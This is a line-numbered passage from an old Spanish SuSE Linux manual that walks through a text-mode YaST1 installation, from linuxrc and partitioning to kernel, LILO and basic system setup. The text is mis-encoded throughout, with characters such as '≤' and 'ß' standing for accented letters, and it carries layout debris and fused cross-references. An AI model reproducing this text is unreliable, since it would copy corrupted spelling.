  2590. del men· y con |____|y |!___|un comando (p. ej.  `Ok' o `Cancelar'). Pulsando
  2591.  _-    |||||||||__los comandos se ejecutan.
  2592.  
  2593. El  apartado  16.3  en  la  pßgina  417linuxrcsection.16.3  contiene  una  descrip-
  2594. ci≤n mßs detallada de linuxrc .
  2595.  
  2596.  
  2597. Configuraci≤n general e incorporaci≤n del hardware
  2598.  
  2599. El programa linuxrc comienza con la selecci≤n del idioma.
  2600.  
  2601. El programa linuxrc comienza con la selecci≤n del idioma.
  2602.  
  2603.   o   Seleccionar un idioma.
  2604.  
  2605.   o   Seleccionar entre `Monitor  Color' y `Monitor  Monocromo'
  2606.  
  2607.   o   Seleccionar la distribuci≤n del teclado. En este caso serφa `Espa±ol'.
  2608.  
  2609. Ahora  nos  encontramos  en  el  men·  principal  de  linuxrc  (figura  2.3  en  la
  2610. pßgina siguiente) en el cual se encuentran las siguientes opciones:
  2611.  
  2612.  
  2613.                                                                                                                                    *
  2614.  *     31
  2615. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  2616.  *_______________________________________@
  2617.  
  2618.                                                            Figura 2.2: Selecci≤n del idioma
  2619.  
  2620.  
  2621.                                                        Figura 2.3: Men· principal de linuxrc
  2622.                            `Configuraciones'                 ~ Aquφ se puede modificar otra vez idioma, monitor o
  2623.                                  teclado.
  2624.  
  2625.                            `Informaci≤n  de  sistema'                      ~ Para los interesados aquφ hay una multitud
  2626.                                  de informaci≤n sobre el hardware.
  2627.  
  2628.                            `M≤dulos  del  kernel  (Driver)'                         ~  Es  posible  que  se  deba  elegir  este
  2629.                                  punto para cargar m≤dulos adaptados al hardware.
  2630.  
  2631.                                  Caso  normal:  Por  lo  general  no  se  necesita  esta  opci≤n,  porque  si  el
  2632.                                  (los) disco(s) duro(s) y el lector de CD (+  ATAPI) estßn conectados a una
  2633.                                  controladora (E)IDE, no es necesario cargar m≤dulos especiales.
  2634.  
  2635.                                  Esto se explica por el hecho de que el soporte para (E)IDE estß integrado
  2636.                                  en el kernel.
  2637.  
  2638.  
  2639. 32
  2640.        _____________________________________________________2.2.__Instalaci≤n_con_YaST__en_modo_texto_(YaST__1)____________________*
  2641.  *______________________
  2642.  
  2643.  
  2644.  
  2645. `Instalaci≤n  /  Inicio  de  sistema'                            ~  Pulsando  aquφ  contin·a  la  in-
  2646.       stalaci≤n . . .
  2647.  
  2648. `Cancelaci≤n  /  Reboot'                    ~  Para  el  caso  en  que  haya  decidido  aban-
  2649.       donar. . .
  2650.  
  2651.  
  2652. Elegir la carga de m≤dulos del kernel con `M≤dulos  de  kernel  (Drivers)',
  2653. en caso de necesitar soporte de tarjetas SCSI  o PCMCIA (ver apartado 11.1.6
  2654. en  la  pßgina  317Instalaci≤n  vφa  PCMCIAsubsection.11.1.6)   o,  en  caso  de
  2655. no tener un lector de CDs tipo ATAPI; la carga de m≤dulos se explica en el
  2656. apartado  16.3  en  la  pßgina  417linuxrcsection.16.3.   Seleccionar  en  el  sigu-
  2657. iente sub-men· la raz≤n por la cual se cargan m≤dulos (dicho de otra forma:
  2658. para quΘ se deben cargar). Existen las siguientes posibilidades:
  2659.  
  2660.  
  2661.   ~   Un m≤dulo SCSI ~ Para un disco duro tipo SCSI o un lector CD-ROM de
  2662.       este tipo .
  2663.  
  2664.   ~   Un  m≤dulo  CD-ROM  ~  si  el  lector  CD-ROM  no  estß  conectado  a  la
  2665.       controladora (E)IDE ni a la controladora SCSI.
  2666.  
  2667.   ~   Un m≤dulo de red ~ en el caso que se realice la instalaci≤n a travΘs de
  2668.       NFS o FTP ~ lo cual no se trata en este apartado.
  2669.        _______________________________________________________________________________________________________________________||
  2670.        ||||||||  Si  no  se  encuentra  soporte  para  el  medio  de  instalaci≤n  usado  (Tarjeta              |||            |
  2671.        ||||||||                                                                                                 ||             |
  2672.        ||||||||  PCMCIA,  tarjeta  de  red,  lector  CD-ROM  en  controladora  propia  o  en                    ||             |
  2673.        ||||||||  puerto  paralelo)  dentro  de  los  m≤dulos  estßndar,  se  puede  recurrir  a  los            ||             |
  2674.        ||||||||                                                                                                 ||             |
  2675.        ||||||||  drivers adicionales del disquete modules.  Para ello dirφjase al final de la                   ||             |
  2676.        ||||||||  lista, seleccionando allφ la opci≤n `--  Otros  m≤dulos  --'; linuxrc pide                     ||             |
  2677.        ||||||||                                                                                                 ||             |
  2678.        ||||||||  en este caso el disquete modules.                                                              ||             |
  2679.        ||||||||_______________________________________________________________________________________________________________||_
  2680.  
  2681.  
  2682. Iniciar la instalaci≤n
  2683.  
  2684. Puesto que la opci≤n `Iniciar  la  instalaci≤n_ /  Sistema' ya estß se-
  2685. leccionada, solo hace falta pulsar |_____-|para comenzar con la verdadera insta-
  2686. laci≤n.
  2687.  
  2688.  
  2689.       Ahora aparecen las siguientes opciones:
  2690.  
  2691.       ~   `Comenzar  la  instalaci≤n'  ~  Esto  se  llevarß  a  cabo  en  un
  2692.           instante.
  2693.  
  2694.       ~   `Iniciar  el  sistema  instalado' ~ Esta opci≤n es ·til cuan-
  2695.           do se presentan problemas con el arranque normal del sistema in-
  2696.           stalado.
  2697.  
  2698.       ~   `Iniciar  sistema  de  rescate' ~ Cuando ha ocurrido un er-
  2699.           ror grave,  esta opci≤n brinda muchas posibilidades de arreglar el
  2700.           sistema instalado. No es disponible para sistemas Alpha
  2701.  
  2702.       ~   `Iniciar  Live  CD' ~ Se puede probar el sistema sin necesidad
  2703.           de  copiarlo  directamente  en  el  disco  duro;  en  cuanto  al  ''Live-
  2704.           CD''  ver  el  apartado  3.7.4  en  la  pßgina  110Configurar  sistema
  2705.           Livesubsection.3.7.4.
  2706.  
  2707.  
  2708.                                                                                                                                    *
  2709.  *     33
  2710. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  2711.  *_______________________________________@
  2712.  
  2713.                                                     Figura 2.4: Men· de instalaci≤n de linuxrc
  2714.  
  2715.  
  2716.  
  2717.                            Para  entrar  al  sub-men·  de  instalaci≤n  se  pulsa  |______|-cuando  la  opci≤n
  2718.                            `Comenzar  la  instalaci≤n'  estß  seleccionada.   Solo  hace  falta  selec-
  2719.                            cionar el medio fuente o dejar la barra de desplazamiento sobre la preselec-
  2720.                            ci≤n `CD-ROM'.
  2721.  
  2722.                                            Figura 2.5: Selecci≤n del origen de los datos en linuxrc
  2723.  
  2724.  
  2725.                            Pulse ahora |______|-, y seleccione YaST1       para comenzar con la instalaci≤n.  El
  2726.                            medio  fuente  de  los  datos  es  el  CD-ROM,  salvo  que  se  haya  seleccionado
  2727.                            otro.
  2728.  
  2729.                            Ahora se carga el +   Entorno de instalaci≤n en un RAM-Disk y despuΘs de
  2730.                            este proceso se pone en marcha el programa de instalaci≤n YaST .
  2731.  
  2732.  
  2733.                            Posibles problemas
  2734.  
  2735.                            En este punto de avance se pueden presentar los siguientes problemas:
  2736.  
  2737.  
  2738. 34
  2739.        _____________________________________________________2.2.__Instalaci≤n_con_YaST__en_modo_texto_(YaST__1)____________________*
  2740.  *______________________
  2741.  
  2742.  
  2743.  
  2744.  ~   Linux  no  reconoce  el  adaptador  SCSI  instalado;   use  un  kernel  que  in-
  2745.      corpore el correspondiente driver SCSI y genere un disquete de arranque
  2746.      como se explica en el apartado 2.6.3 en la pßgina 59Crear un disquete de
  2747.      arranque bajo DOSsubsection.2.6.3  .
  2748.  ~   El lector CD-ROM ATAPI usado se traba leyendo datos: ver apartado 2.7.5
  2749.      en la pßgina 64Un lector CD-ROM ATAPI se traba leyendosubsection.2.7.5
  2750.      y en tΘrminos mßs generales el apartado 2.7.13 en la pßgina 67Problemas
  2751.      generales de hardwaresubsection.2.7.13.
  2752.  
  2753.  
  2754. 2.2.4      Arrancar YaST
  2755.  
  2756. YaST  ofrece una pantalla de entrada con cuatro opciones (ver figura 2.6).
  2757.  
  2758.                             Figura 2.6: Pantalla principal de YaST
  2759.  
  2760.  
  2761.        _______________________________________________________________________________________________________________________||
  2762.  
  2763.        ||||||||  Si se desea conocer YaST  en mßs detalle o si se realizan tareas especiales                    |||            |
  2764.        ||||||||  de  mantenimiento  de  sistema,  se  recomienda  consultar  el  capφtulo  sobre                ||             |
  2765.        ||||||||                                                                                                 ||             |
  2766.        ||||||||  YaST  (capφtulo 3 en la pßgina 83YaST  ~ Yet another Setup Toolchapter.3                       ||             |
  2767.        ||||||||  en adelante.)!  ~ Al comienzo del capφtulo sobre YaST  se encuentra tam-                       ||             |
  2768.        ||||||||                                                                                                 ||             |
  2769.        ||||||||  biΘn informaci≤n sobre las funciones del teclado bajo YaST                                     ||             |
  2770.        ||||||||_______________________________________________________________________________________________________________||_
  2771.  
  2772. `Nueva  instalaci≤n  de  Linux'                         Si  se  trata  de  instalar  un  SuSE     Linux
  2773.       nuevo. Justamente esto es lo que nos ocuparß a continuaci≤n ;-)
  2774. `Actualizar  el  sistema  Linux  instalado'                                 La  actualizaci≤n  de  un
  2775.       SuSE     Linux existente es tema del apartado 15.1 en la pßgina 393Actual-
  2776.       izaci≤n de SuSE     Linux section.15.1.
  2777. `Instalaci≤n  en  modo  experto'                         En el transcurso de este modo de in-
  2778.       stalaci≤n  se  tienen  muchas  posibilidades  para  intervenir.   Solo  se  debe
  2779.       elegir este modo si se cuenta con suficiente experiencia en Linux y, si se
  2780.       conoce bien el orden de los pasos de instalaci≤n. íNo se explicarß el modo
  2781.       experto!
  2782. `Cancelaci≤n  -  ninguna  instalaci≤n'                               Si  se  ha  decidido  abandonar
  2783.       en el ·ltimo momento. . .
  2784.  
  2785.  
  2786.                                                                                                                                    *
  2787.  *     35
  2788. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  2789.  *_______________________________________@
  2790.  
  2791.  
  2792.  
  2793.                            Seleccione ahora `Nueva  instalaci≤n  de  Linux'.
  2794.                            Antes de comenzar a particionar por cuenta propia, se recomienda consultar
  2795.  
  2796.                            el apartado 2.8 en la pßgina 70Particionar para principiantessection.2.8,que
  2797.                            contiene mucha informaci≤n adicional.
  2798.  
  2799.  
  2800.                            2.2.5      Particionar y formatear el disco duro
  2801.  
  2802.                            YaST  notifica  ahora  la  existencia  de  un  disco  duro.   Si  hay  alguna  zona
  2803.                            ''libre'',  YaST  lo  notarß  y  propondrß  usar  esta  zona  del  disco  para  Linux  (
  2804.                            `┐Utilizar  zona  libre?').
  2805.                            ________________________________________________________________________________________________________*
  2806.  *________||
  2807.                            |  Si ya existe una partici≤n de swap no activada ~ tal vez procedente de una                           *
  2808.  *        ||||
  2809.                            |  instalaci≤n anterior ~ YaST  se darß cuenta de ello y preguntarß si se debe                          *
  2810.  *        |||
  2811.                            |                                                                                                       *
  2812.  *        |||
  2813.                            |  usar esa partici≤n, para que pase a formar parte del sistema.                                        *
  2814.  *        |||
  2815.                            |_______________________________________________________________________________________________________*
  2816.  *________|||_
  2817.  
  2818.                            Para ajustar las particiones, proceda de la siguiente manera:
  2819.  
  2820.                            `Particionar'              ~ Para la primera instalaci≤n de SuSE     Linux  o para su cam-
  2821.                                  bio completo hay que elegir generalmente la opci≤n `Particionar'. Es
  2822.                                  mejor no seleccionar `Configurar  LVM', salvo que se sepa bien lo que
  2823.                                  es un Logical Volume Manager y que lo necesite.
  2824.  
  2825.                            `SI'      ~ Si se afirma, YaST procede a particionar automßticamente y entonces
  2826.                                  se  puede  continuar  con  el  apartado  2.2.7  en  la  pßgina  38Elecci≤n  del
  2827.                                  software bßsicosubsection.2.2.7.
  2828.  
  2829.                            `No'      ~ Si se contesta negativamente (`No'), se puede empezar a particionar
  2830.                                  de manera interactiva.
  2831.  
  2832.  
  2833.                                                         Figura 2.7: YaST  ~ Particionar disco
  2834.  
  2835.  
  2836.                            Si YaST no encuentra espacio libre, aparecerß la instrucci≤n `Usar  todo  el
  2837.                            disco _duro';_ en_esta_ventana_se ofrecen dos posibilidades (para recordar:    ____
  2838.                            con |T____a|b, |____|o |!___|se puede posicionar el cursor, mientras que con |_____-|se
  2839.                            ejecuta la selecci≤n):
  2840.  
  2841.  
  2842. 36
  2843.        _____________________________________________________2.2.__Instalaci≤n_con_YaST__en_modo_texto_(YaST__1)____________________*
  2844.  *______________________
  2845.  
  2846.  
  2847.  
  2848. `Particionar'              ~ Usted mismo genera las particiones; es obligatorio elegir
  2849.       esta opci≤n si se quiere seguir usando otro sistema operativo ya instalado,
  2850.       aparte de Linux.
  2851.        _______________________________________________________________________________________________________________________||
  2852.  
  2853.        ||||||||  Si se elige `Todo  el  disco', se perderßn ítodos los datos que estΘn en                       |||            |
  2854.        ||||||||  este momento en el disco!                                                                      ||             |
  2855.        ||||||||_______________________________________________________________________________________________________________||_
  2856.  
  2857. `Todo  el  disco'              ~  YaST  comienza  ~  despuΘs  de  una  confirmaci≤n  de
  2858.       seguridad  ''en  rojo''  ~  a  particionar  y  formatear  por  sφ  mismo  el  disco
  2859.       duro.
  2860.  
  2861.       Esta opci≤n se usa solo en el caso de querer tener ·nicamente SuSE     Linux
  2862.       en la computadora y de no querer ocuparse del tema de particionar.
  2863.  
  2864.       íSe borrarßn los demßs sistemas operativos eventualmente presentes!
  2865.  
  2866.       Para hacer las particiones, YaST  sigue la siguiente estrategia:
  2867.  
  2868.       o   genera una partici≤n /boot (mφnimo 2 MB o 1 cilindro),
  2869.  
  2870.       o   una partici≤n de swap (el doble de la cantidad de RAM pero no mßs de
  2871.           128 MB) y
  2872.  
  2873.       o   el resto como una gran partici≤n, que se monta bajo `/' como parti-
  2874.           ci≤n ''root'' (directorio raφz).
  2875.  
  2876.  
  2877. Posibles problemas
  2878.  
  2879.   o   Es posible que se presenten problemas cuando la computadora lea de nue-
  2880.       vo la partici≤n. En este caso YaST mostrarß un recuadro de advertencia de
  2881.       color rojo y pedirß el reinicio de la mßquina. Proceda entonces a reiniciar
  2882.       la computadora y deje de particionar el disco la proxima vez que entre a
  2883.       YaST .
  2884.  
  2885.   o   No hay suficiente espacio en el disco duro.  El apartado 2.6.1 en la pßgi-
  2886.       na 57Hacer espacio para Linux (particionar)subsection.2.6.1 informa so-
  2887.       bre la posibilidad de usar el programa fips de DOS para hacer espacio.
  2888.  
  2889.  
  2890. 2.2.6      Comenzar la instalaci≤n del software
  2891.  
  2892. El  disco  duro  estß  preparado  ahora  de  tal  manera  que  se  debe  decidir  quΘ
  2893. software instalar.
  2894.  
  2895. Ahora tanga un poco de paciencia: Se deben leer los datos de las series y pa-
  2896. quetes desde el medio de instalaci≤n (generalmente el CD). DespuΘs aparece
  2897. el men· de instalaci≤n de YaST   (ver figura 2.8 en la pßgina siguiente).  En
  2898. caso de no querer seleccionar un conjunto de software especial (sino el que
  2899. estß previsto por defecto), es posible seguir directamente con la opci≤n `Em-
  2900. pezar  Instalaci≤n' y saltar al apartado 2.2.8 en la pßgina 39Instalaci≤n
  2901. de softwaresubsection.2.2.8.
  2902.  
  2903.  
  2904.   o   Para  tomar  una  pre~selecci≤n  de  software  (estßndar,  servidor,  mφnima,
  2905.       etc.),  seleccione  `Cargar  configuraci≤n';  ver  el  siguiente  aparta-
  2906.       do 2.2.7 en la pßgina siguiente.  DespuΘs de esta selecci≤n se encontrarß
  2907.       de nuevo en el men· de instalaci≤n.
  2908.  
  2909.  
  2910.                                                                                                                                    *
  2911.  *     37
  2912. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  2913.  *_______________________________________@
  2914.  
  2915.  
  2916.  
  2917.                                                     Figura 2.8: YaST  ~ Selecci≤n de paquetes
  2918.  
  2919.  
  2920.  
  2921.                              o   Ahora existe la posibilidad de seleccionar `Cambiar/Generar  confi-
  2922.                                  guraci≤n'. Asφ se llega al submen· de la elecci≤n de series, que permite
  2923.                                  hacer  un  ajuste  fino.   Normalmente  no  se  necesita,  ya  que  la  selecci≤n
  2924.                                  de paquetes ofrece un sistema completo.  TambiΘn se puede modificar o
  2925.                                  ampliar en cualquier momento esta selecci≤n ~ incluso cuando Linux ya
  2926.                                  se estß ejecutando.
  2927.  
  2928.  
  2929.                            El  capφtulo  sobre  YaST  en  apartado  3.5  en  la  pßgina  96Escoger  /  Instalar
  2930.                            paquetessection.3.5  contiene  una  amplia  descripci≤n  de  estos  men·s  y  de
  2931.                            todas las opciones que contienen.
  2932.  
  2933.  
  2934.                            2.2.7      Elecci≤n del software bßsico
  2935.  
  2936.                            Se puede entrar en esta plantilla de YaST  (figura 2.9 en la pßgina siguiente),
  2937.                            despuΘs de haber seleccionado en el apartado 2.2.6 en la pßgina anterior la
  2938.                            opci≤n `Cargar  configuraci≤n'.
  2939.  
  2940.                            Hemos preparado algunas configuraciones.__Se puede navegar por las distin-_________
  2941.                            tas  opciones  con  la  flechas  |_"|y  |_#|y  seleccionarlas  con  |______________L|eertaste.   Una
  2942.                            equis (`X') dentro del recuadro de la configuraci≤n significa que Θsta ha sido
  2943.                            seleccionada para reemplazar o complementar los paquetes existentes.
  2944.  
  2945.                            Un asterisco (`*') por detrßs indica que se procederß a instalar esta configu-
  2946.                            raci≤n.  Es posible que se instalen otras configuraciones junto con la config-
  2947.                            uraci≤n seleccionada, ya que todas las configuraciones especφficas forman un
  2948.                            sub-conjunto por ejemplo de `SuSE  Almost  everything'.
  2949.  
  2950.  
  2951.                            `Cargar'         ~ Con esta opci≤n se puede a±adir la configuraci≤n seleccionada
  2952.                                  a los paquetes ya instalados.
  2953.  
  2954.                            `Reemplazar'             ~ Para reemplazar una configuraci≤n instalada por una nue-
  2955.                                  va.  YaST  pide una confirmaci≤n antes de suprimir los paquetes que no
  2956.                                  pertenecen a la nueva configuraci≤n.
  2957.  
  2958.                            `Abortar'          ~ Cancelar la selecci≤n.
  2959.  
  2960.  
  2961. 38
  2962.        _____________________________________________________2.2.__Instalaci≤n_con_YaST__en_modo_texto_(YaST__1)____________________*
  2963.  *______________________
  2964.  
  2965.  
  2966.  
  2967.                      Figura 2.9: YaST  ~ Selecci≤n de configuraciones
  2968.  
  2969.  
  2970.  
  2971. 2.2.8      Instalaci≤n de software
  2972.  
  2973. DespuΘs de todos los preparativos llega el momento de ocupar el disco duro
  2974. con el software mßs adecuado.
  2975.  
  2976.  
  2977.   o   Iniciar la instalaci≤n con `Comenzar  instalaci≤n'. YaST indica en la
  2978.       pantalla cußl paquete se estß instalando en el momento y cußntos paquetes
  2979.       vendrßn a continuaci≤n.
  2980.  
  2981.   o   Seg·n la configuraci≤n seleccionada se piden CDs adicionales.
  2982.  
  2983.   o   Cuando  todos  los  paquetes  estΘn  instalados,  vuelva  al  men·  principal
  2984.       eligiendo `Men·  principal'.
  2985.  
  2986.  
  2987. Posibles problemas
  2988.  
  2989.   o   Si la computadora tiene ''poca'' memoria RAM (16 MB), al comienzo solo
  2990.       se podrß instalar desde el primer CD~ROM. En este caso se pedirßn los
  2991.       demßs CDs posteriormente (apartado 2.2.10 en la pßgina 43Configuraci≤n
  2992.       bßsica con YaST  subsection.2.2.10).
  2993.  
  2994.  
  2995.   o   Si  se  presentan  problemas  durante  la  instalaci≤n  del  software,  lo  mßs
  2996.       probable es que estos se deban al hardware o al mal ajuste del mismo.
  2997.  
  2998.       En  el  caso  de  los  sistemas  SCSI,  compruebe  la  longitud  del  cable  y  el
  2999.       terminador. Desconecte los dispositivos externos del bus, sobre todos los
  3000.       escßneres  y  pruebe  tambiΘn  los  parßmetros  del  kernel;  los  mßs  impor-
  3001.       tantes se encuentran en el apartado 14.3.1 en la pßgina 359Anotaci≤n y
  3002.       significadosubsection.14.3.1.
  3003.  
  3004.       En el caso de trabajar con dispositivos ATAPI, consulte el apartado 2.7.5
  3005.       en la pßgina 64Un lector CD-ROM ATAPI se traba leyendosubsection.2.7.5.
  3006.  
  3007.  
  3008. Ahora saque los disquetes y CD-ROMs de los dispositivos,  ya que la com-
  3009. putadora se iniciarß por primera vez con el sistema instalado. DespuΘs YaST
  3010. le guiarß por la configuraci≤n bßsica del sistema. . .
  3011.  
  3012.  
  3013.  
  3014.                                                                                                                                    *
  3015.  *     39
  3016. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  3017.  *_______________________________________@
  3018.  
  3019.  
  3020.  
  3021.                            2.2.9      Seleccionar kernel
  3022.                            Se ha transferido el software bßsico al disco duro.
  3023.                                                      Figura 2.10: YaST  ~ Selecci≤n del kernel
  3024.  
  3025.  
  3026.  
  3027.                            ; se instalarß un +  Kernel especφfico para el sistema y ~ a petici≤n del usuario
  3028.                            ~ tambiΘn el gestor de arranque LILO :  Seleccione ahora un kernel adecuado
  3029.                            (figura 2.10); por ejemplo:
  3030.  
  3031.              Kernel          o   El  `Standard  kernel', sirve para la mayorφa de los sistemas.
  3032.  
  3033.                              o   El  `Kernel  with  SMP-Support'  se  selecciona  para  sistemas  multi-
  3034.                                  procesador
  3035.  
  3036.                              o   El   `Kernel  with  APM-Support'   incluye   soporte   para   ''Advanced
  3037.                                  Power Management'' (gesti≤n avanzada del consumo).
  3038.                            ________________________________________________________________________________________________________*
  3039.  *________||
  3040.  
  3041.                            |  En  caso  de  tener  un  procesador  que  no  es  100%  compatible  con  los                         *
  3042.  *        ||||
  3043.                            |  Pentium  de  Intel,  seleccione  `Kernel  built  for  i386  processors                               *
  3044.  *        |||
  3045.                            |                                                                                                       *
  3046.  *        |||
  3047.                            |  (use  also  for  486)'.  Este kernel se requiere p. ej. para un Cyrix 686.                           *
  3048.  *        |||
  3049.                            |  En caso contrario es posible que resultan errores como "Kernel  panic",                              *
  3050.  *        |||
  3051.                            |                                                                                                       *
  3052.  *        |||
  3053.                            |  ver http://sdb.suse.de/sdb/de/html/cyrix686.html.                                                    *
  3054.  *        |||
  3055.                            |_______________________________________________________________________________________________________*
  3056.  *________|||_
  3057.  
  3058.                            YaST  procede a copiar este kernel en /boot/vmlinuz y guarda el fichero
  3059.                            de configuraci≤n del kernel en /boot y opcionalmente tambiΘn como /usr/
  3060.                            src/linux/.config.  Este fichero describe detalladamente el kernel instal-
  3061.                            ado y los m≤dulos adicionales.
  3062.  
  3063.               LILO         Si estß seguro de que los sistemas operativos (tal vez ya instalados) se pueden
  3064.                            inicializar  con  LILO    (ver  figura  3.21  en  la  pßgina  106`Configuraci≤n
  3065.                            LILO 'subsection.3.7.2), afirme la pregunta con `Sφ'. DOS y Windows 95/98
  3066.                            generalmente no presentan problemas, pero con Windows NT las cosas cam-
  3067.                            bian a veces (ver apartado 4.7.2 en la pßgina 136Windows NT y Linux en un
  3068.                            disco durosubsection.4.7.2).
  3069.  
  3070.  
  3071. 40
  3072.        _____________________________________________________2.2.__Instalaci≤n_con_YaST__en_modo_texto_(YaST__1)____________________*
  3073.  *______________________
  3074.  
  3075.  
  3076.  
  3077. El  capφtulo  sobre  YaST  (apartado  3.7.2  en  la  pßgina  106`Configuraci≤n
  3078. LILO 'subsection.3.7.2)  le  informa  mßs  detalladamente  sobre  la  forma  de
  3079. pasar por estas plantillas.
  3080.  
  3081.  
  3082. 2.2.10       Configuraci≤n bßsica con YaST
  3083.  
  3084. DespuΘs de la selecci≤n del kernel le llega el turno a la configuraci≤n bßsica
  3085. durante la cual se configuran algunos componentes del hardware y del soft-
  3086. ware.
  3087.  
  3088.  
  3089.  
  3090.                      Figura 2.11: YaST  ~ Selecci≤n del huso horario
  3091.  
  3092.  
  3093.  
  3094.   o   Ahora  se puede elegir la zona de tiempo.  Aparecerß una lista muy larga                                     Zona de
  3095.       (ver figura 2.11) en la cual se puede elegir `CET' (ingl. Central European                                   tiempo
  3096.       Time) si se encuentra en latitudes centro-europeas, p. ej.  en Espa±a.
  3097.  
  3098.       El  reloj  de  la  computadora  puede  estar  ajustado  seg·n  la  hora  local  o
  3099.       seg·n  Greenwich  Mean  Time  (GMT).  `GMT'  es  la  opci≤n  por  defecto;
  3100.       seleccione `Hora  local', si la computadora muestra la hora local.
  3101.   o   Ahora  aparecen algunas instrucciones para la configuraci≤n de la red:                                       Configuraci≤n
  3102.       ~   Nombre de la computadora y del dominio (ver figura 2.12 en la pßgi-                                      de red
  3103.  
  3104.           na siguiente).  Si no hay restricciones por parte del +   Administrador
  3105.           de sistema o por parte del +   ISP se puede desplegar toda la creativi-
  3106.           dad buscando un bonito nombre.  Para entrar a Internet o usar una red
  3107.           local,  debe  cerciorarse  de  que  el  nombre  sea  correcto;  p. ej.  tier-
  3108.           ra.cosmos.univ.  ~ tierra es el nombre de la computadora y cos-
  3109.           mos.univ el nombre del dominio (ingl. domainname).
  3110.  
  3111.       ~   ┐Red tipo loopback         o red real    ?  Si la computadora no posee tarjeta
  3112.           de red se puede indicar loopback         y en este caso no harφa falta seguir
  3113.           en detalle con la configuraci≤n.
  3114.  
  3115.       ~   Si  se  elige  red  real    ,  aparecerßn  adicionalmente  preguntas  como:
  3116.           Cliente DHCP, Tipo de red (para tarjetas Ethernet seleccione eth0    ),
  3117.  
  3118.  
  3119.                                                                                                                                    *
  3120.  *     41
  3121. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  3122.  *_______________________________________@
  3123.  
  3124.  
  3125.  
  3126.                                        Figura 2.12: YaST  ~ Nombre de computadora y de dominio
  3127.  
  3128.  
  3129.  
  3130.                                      direcci≤n IP, netmask, gateway, inetd , portmap , servidor NFS, From    -
  3131.                                      lφnea para los ''News-Postings'', cliente de red con acceso a un servidor
  3132.                                      de nombres (IP del servidor de nombre y YP-Domain),  elecci≤n del
  3133.                                      m≤dulo del kernel para la tarjeta de red.
  3134.                                              Figura 2.13: YaST  ~ Selecci≤n del sistema de correo
  3135.  
  3136.  
  3137.                                  ~   Selecci≤n de sendmail.cf para el sistema de correo (ver figura 2.13);
  3138.                                      vΘase  tambiΘn  el  apartado  6.8  en  la  pßgina  204Vamos  a  escribir  ~
  3139.                                      Configuraci≤n de sendmailsection.6.8.
  3140.  
  3141.                            Las  indicaciones  que  se  han  hecho  hasta  este  momento  se  graban  y
  3142.                            SuSEconfig         se  encarga  de  ubicarlas  en  los  distintos  ficheros  de  configu-
  3143.                            raci≤n.   YaST  se  termina  y  una  serie  de  mensajes  sobre  el  el  estado  del
  3144.                            sistema pasan por la pantalla. . .
  3145.  
  3146.  
  3147. 42
  3148.        _____________________________________________________2.2.__Instalaci≤n_con_YaST__en_modo_texto_(YaST__1)____________________*
  3149.  *______________________
  3150.  
  3151.  
  3152.  
  3153.   o   DespuΘs  de un par de mensajes del sistema y del saludo de "Bienveni-                                        Contrase±a
  3154.       daΣ  parece la pregunta importante por la contrase±a (ingl. Password) de                                     de `root'
  3155.       `root'.  Siempre necesitarß esta contrase±a cuando quiere entrar al sis-
  3156.       tema como +  Administrador de sistema.  Se debe elegir esta palabra con
  3157.       cuidado y recordarla perfectamente.  Vigile la diferencia entre may·scu-
  3158.       las y min·sculas;  es mejor evitar los espacios o caracteres especiales si
  3159.       no se sabe exactamente lo que estos representan.  Solo los primeros ocho
  3160.       caracteres cuentan con la configuraci≤n por defecto.
  3161.  
  3162.   o   YaST   anima a generar un ''login'' de usuario. Es conveniente seguir este                                   Login
  3163.       paso ya que no se recomienda entrar al sistema como `root' para realizar
  3164.       tareas del dφa a dφa, pero sφ bajo el ''login'' de usuario. InvΘntese un bonito
  3165.       nombre y corto (sin espacios, no mßs de 8 caracteres), como por ejemplo
  3166.       tux. íEn cualquier caso se debe recordar la contrase±a que se introduzca!
  3167.  
  3168.  
  3169.  
  3170.        Figura 2.14: YaST  ~ Selecci≤n de las interfaces de modem y mouse
  3171.  
  3172.  
  3173.   o   YaST  pregunta  si  se  desea  configurar  el  modem.   Si  realmente  tiene
  3174.       uno  se  puede  configurar  ahora  o  tambiΘn  en  cualquier  otro  momento.
  3175.       Seleccionando  `Sφ',  YaST  pregunta  por  el  puerto  serie  de  Θste  (figu-
  3176.       ra 2.14).  ~ TΘngase en cuenta que los ''Winmodems'' no funcionan (ver
  3177.       http://sdb.suse.de/sdb/en/html/cep_winmodem.html).
  3178.  
  3179.   o   YaST  pregunta si se desea ajustar el mouse.  Para hacerlo, se elige `Sφ'
  3180.       y se selecciona el tipo de mouse de una lista (parecido a figura 2.15 en
  3181.       la pßgina siguiente).  Si hay un mouse conectado al puerto serie,  YaST
  3182.       quiere saber en cußl estß (figura 2.14). TambiΘn se elige este puerto de la
  3183.       lista.
  3184.  
  3185.   o   Confirmar  despuΘs  el  inicio  del  programa  gpm  para  cada  arranque  de
  3186.       sistema (figura 2.16 en la pßgina siguiente).
  3187.  
  3188. Si fuera preciso instalar paquetes desde los CDs restantes (ver apartado 2.2.8                                     CDs
  3189. en la pßgina 39Instalaci≤n de softwaresubsection.2.2.8), YaST  lo harφa aho-                                       adicionales
  3190. ra. . .
  3191.  
  3192.  
  3193.                                                                                                                                    *
  3194.  *     43
  3195. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  3196.  *_______________________________________@
  3197.  
  3198.  
  3199.  
  3200.                                               Figura 2.15: YaST  ~ Selecci≤n del driver de mouse
  3201.                                                          Figura 2.16: YaST  ~ Inicio de gpm
  3202.                              o   YaST  le  pide  insertar  los  CDs  restantes1 .   El  ·ltimo  CD  solo  se  debe
  3203.                                  intoducir  si  se  ha  pedido  explφcitamente  la  instalaci≤n  de  fuentes  (ingl.
  3204.                                  sources) de alg·n programa ~ por lo general este no es el caso.
  3205.  
  3206.                              o   DespuΘs se finaliza YaST  y se debe pulsar |______|-.
  3207.  
  3208.  
  3209.                            Su SuSE     Linux estß ahora completamente instalado.
  3210.  
  3211.  
  3212.                            _____________________________________________1
  3213.                              Si tiene SuSE   Linux en DVD no hace falta preocuparse de nada ya que todo viene incluido en
  3214.                            un solo DVD.
  3215.  
  3216.  
  3217. 44
  3218.        _____________________________________________________2.2.__Instalaci≤n_con_YaST__en_modo_texto_(YaST__1)____________________*
  3219.  *______________________
  3220.  
  3221.  
  3222.  
